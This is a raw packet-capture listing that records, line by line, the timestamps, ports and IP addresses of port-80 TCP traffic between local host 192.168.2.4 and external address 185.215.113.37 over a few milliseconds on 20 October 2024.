Oct 20, 2024 06:40:18.837001085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837007999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837021112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837023973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837033033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837044001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837044001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837055922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837065935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837069035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837076902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837090969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837097883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837100983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837114096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837116003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837129116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837140083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837141037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837152004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837163925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837163925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837176085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837178946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837187052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837198019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837207079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837212086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837228060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837230921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837239981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837249041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837251902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837264061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837275982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837304115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837867022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837879896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837891102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837902069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837913036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837913036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837924957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837937117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837948084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837949038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837960005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837970972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.837973118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837989092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.837990999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838002920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838007927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838013887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838023901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838032007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838035107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838044882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838057995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838058949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838068962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838077068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838085890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838093996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838098049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838109016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838119030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838121891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838134050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838145018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838155031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838157892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838170052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838176012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838181973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838191032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838191986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838205099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838207006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838217020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838227987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838232040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838255882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838270903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838845015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838855982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838866949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838879108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838887930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838888884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838901043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838902950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838912010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838922977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838928938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838933945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838943958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838948011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838957071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838969946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838975906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838985920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.838987112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.838999033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839008093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839011908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839020014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839031935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839040041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839044094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839057922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839066982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839070082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839082003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839092016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839092016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839106083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839116096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839122057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839128017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839139938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839143991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839150906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839162111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839163065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839174986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839178085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839185953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839196920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839202881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839227915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839241028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839803934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839816093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839833975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839843988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839847088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839859009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839859009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839871883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839879990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839884043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839895010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839905977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839915037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839919090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839930058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839932919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839941978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839952946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839955091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839966059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839977026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839981079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839987993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.839997053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.839999914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840013981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840028048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840029955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840039968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840048075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840050936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840064049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840070009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840082884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840090990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840114117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840508938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840522051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840531111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840542078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840553999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840564966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840569019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840581894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840589046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840594053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840604067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840606928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840615034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840626001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840635061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840646982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840658903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840658903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840670109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840678930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840679884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840691090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840703964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840712070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840715885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840730906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840739965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840742111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840753078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840754986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840764046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840775967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840779066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840786934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840799093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840807915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840810061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840821981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840832949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840842009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840845108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840856075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840856075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840867996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840872049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840878963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.840902090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.840924978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841492891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841505051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841522932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841531038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841535091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841545105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841550112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841557026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841567039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841568947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841578960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841588974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841594934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841600895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841613054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841623068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841634035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841634035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841645956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841656923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841667891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841677904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841682911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841694117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841705084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841706991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841717005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841717958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841727972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841739893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841746092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841753006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.841769934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.841799021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842000961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842012882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842022896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842034101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842040062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842046976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842058897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842063904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842068911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842078924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842091084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842092991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842107058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842108011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842118979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842129946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842129946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842140913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842152119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842163086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842175007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842186928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842189074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842197895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842209101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842219114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842220068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842231035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842246056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842247963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842261076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842271090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842278004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842282057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842293024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842293978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842303991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842308998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842315912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842328072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842333078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842339039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842350006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842358112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842360973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842371941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842372894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842385054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842395067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842406034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842407942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842418909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842430115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842432976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842439890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842452049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842457056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842464924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842474937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842474937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842488050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842499971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842500925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842525005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842540979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842947006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842967033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842976093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842987061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.842988968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.842999935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843009949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843009949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843020916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843025923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843031883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843043089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843044996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843055010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843066931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843066931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843077898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843085051 CEST	49730	80	192.168.2.4	185.215.113.37
